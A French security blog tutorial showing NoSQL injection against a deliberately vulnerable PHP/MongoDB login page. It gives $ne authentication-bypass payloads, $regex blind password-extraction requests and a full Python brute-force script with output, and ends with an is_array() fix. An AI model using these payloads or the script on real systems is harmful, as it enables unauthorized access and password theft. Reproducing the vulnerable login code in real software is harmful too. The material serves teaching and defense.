Les NOSQL injections Classique et Blind: Never trust user input

Par Geluchat, dim. 22 février 2015, dans la catégorie Journal de geluchat

Etude de cas, SQL, Tutoriel

Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.

On peut en citer plusieurs telles que:

Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injections.

Pour ceux souhaitant tester chez eux, je leur conseille ce tutoriel pour installer MongoDB sur Wamp, ainsi que celui ci pour l'utilisation avec PHP.

Entrons maintenant dans le vif du sujet.

Tout le monde connait les SQL injections.

Ces dernières reposent sur la création une requête SQL basée sur une string:

$query="SELECT * FROM users where login='$_GET[login]'";

Avec $_GET[login] égale à ' OR '1'='1 cela donne:

$query="SELECT * FROM users where login=' ' OR '1'='1'";

Rien de très nouveaux.

Pour les NOSQL injections, la porte d'entrée passe par la création d'un tableau pour faire la requête, pour vous expliquer voici un script basique d'authentification avec MongoDB:

if (isset($_POST['usr_name']) && isset($_POST['usr_password']))
        {
        $usr_name = ($_POST['usr_name']);
        $usr_password = ($_POST['usr_password']);
     $con = new MongoClient(); // Connexion a MongoDB

     if ($con) // Si la connexion a fonctionné
          {

          $db = $con->test;
          $people = $db->people;
          $qry = array(
               "user" => $usr_name,
               "password" => $usr_password
          ); // Construction de la requête NOSQL

          $result = $people->findOne($qry); // Recherche de l'utilisateur
          if ($result) // Si les identifiants correspondes on connecte l'utilisateur
               {
               echo("Bienvenue Administrateur"); // Zone Admin
               exit(0);
               }
          }
       else
          {
          die("Mongo DB not installed");
          }
     }

echo'
     <form action="" method="POST">
     Login:
     <input type="text" id="usr_name" name="usr_name"  />
     Password:
     <input type="password" id="usr_password" name="usr_password" />
     <input  name="submitForm" id="submitForm" type="submit" value="Login" />
     </form>
';

On ajoute un utilisateur dans la base de données:

$ mongo
MongoDB shell version: 2.6.7
connecting to: test
Server has startup warnings:
2015-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face,
2015-02-22T00:57:09.521+0100 ** enabling http interface
> db.people.insert({user:"Geluchat",password:"mdp");
WriteResult({ "nInserted" : 1 })

Tout est prêt, nous allons pouvoir procéder à notre première injection NOSQL.

On passe usr_name[$ne]=h4cker&usr_password[$ne]=h4xor grace à HackBar:

Hackbar nosql

Nous voici désormais Administrateur.

Maintenant, vous vous demandez: "Comment ça marche?".

Selon la documentation MongoDB sur les opérateurs de requête $ne correspond à "Différent de".

Lorsque PHP crée la requête il utilise la fonction array(), qui nous permet de faire des array à partir d'array déjà existants.

$qry = array(
     "user" => $usr_name,
     "password" => $usr_password
); // Construction de la requête NOSQL

Pour mieux comprendre, on fait un var_dump($qry), on obtient:

array (size=2)
  'user' =>
    array (size=1)
      '$ne' => string 'h4cker' (length=6)
  'password' =>
    array (size=1)
      '$ne' => string 'h4xor' (length=5)

Ce qui traduit en "Pseudo SQL" donne: "WHERE user!=h4cker and password!=h4xor".

On a donc vu un exemple d'exploitation classique.

Mais nous, ce qu'on veut, c'est récupérer le mot de passe administrateur.

Malheureusement, nous ne disposons d'aucun affichage, il va donc falloir trouver un autre moyen d'accéder à ce mot de passe.

Toujours dans la documentation MongoDB on trouve $regex.

Les fameuses regex vont donc pouvoir nous sauver, l'exploitation se fera en blind.

Pour ceux qui ne comprennent rien au regex, ne vous inquiétez pas, je vais vous expliquer la construction de la requête:

Donc pour trouver la taille on cherche avec:

usr_name[$ne]=h4cker&usr_password[$regex]=.{1}

On incrémente de 1 à chaque fois, jusqu'à ce que "Bienvenue Administrateur" disparaisse.

Et on trouve:

usr_name[$ne]=h4cker&usr_password[$regex]=.{3}

Le mot de passe (mdp) fait bien 3 caractères.

On procède de la même façon pour les caractères:

usr_name[$ne]=h4cker&usr_password[$regex]=m.{2}
usr_name[$ne]=h4cker&usr_password[$regex]=md.{1}
usr_name[$ne]=h4cker&usr_password[$regex]=mdp

J'ai codé un petit script en python qui fait le travail à notre place et voilà le travail:

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests

page = "http://localhost/NOSQL/"

taille=0
while 1:
     forge=".{"+str(taille)+"}";
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')==-1 :
          break
     taille+=1

taille-=1
print("[+] Le password fait "+str(taille)+" caracteres")
passwd=""
char=48

length=0

while length!=taille:
     forge=passwd+str(chr(char))+'.{'+str(taille-len(passwd)-1)+'}';
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')!=-1 :
          passwd+=str(chr(char))
          char=48
          length+=1
          print(passwd)

     if char==90:
          char=96
     if char==57:
          char=64
     char+=1

print("[+] Le password est: "+str(passwd))
$ python NOSQL.py
{'usr_password[$regex]': '.{0}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{1}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{3}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{4}', 'usr_name[$ne]': 'hacker'}
[+] Le password fait 3 caracteres
{'usr_password[$regex]': '0.{2}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'L.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'M.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'N.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'O.{2}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'k.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'l.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'm.{2}', 'usr_name[$ne]': 'hacker'}
m
{'usr_password[$regex]': 'm1.{1}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'm2.{1}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'md.{1}', 'usr_name[$ne]': 'hacker'}
md
{'usr_password[$regex]': 'md1.{0}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'md2.{0}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'mdp.{0}', 'usr_name[$ne]': 'hacker'}
mdp
[+] Le password est: mdp

Pour patcher cette faille, une solution : la vérification grâce à la fonction is_array():

if (isset($_POST['usr_name']) && isset($_POST['usr_password']) && !is_array($_POST['usr_password']) && !is_array($_POST['usr_name']))

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.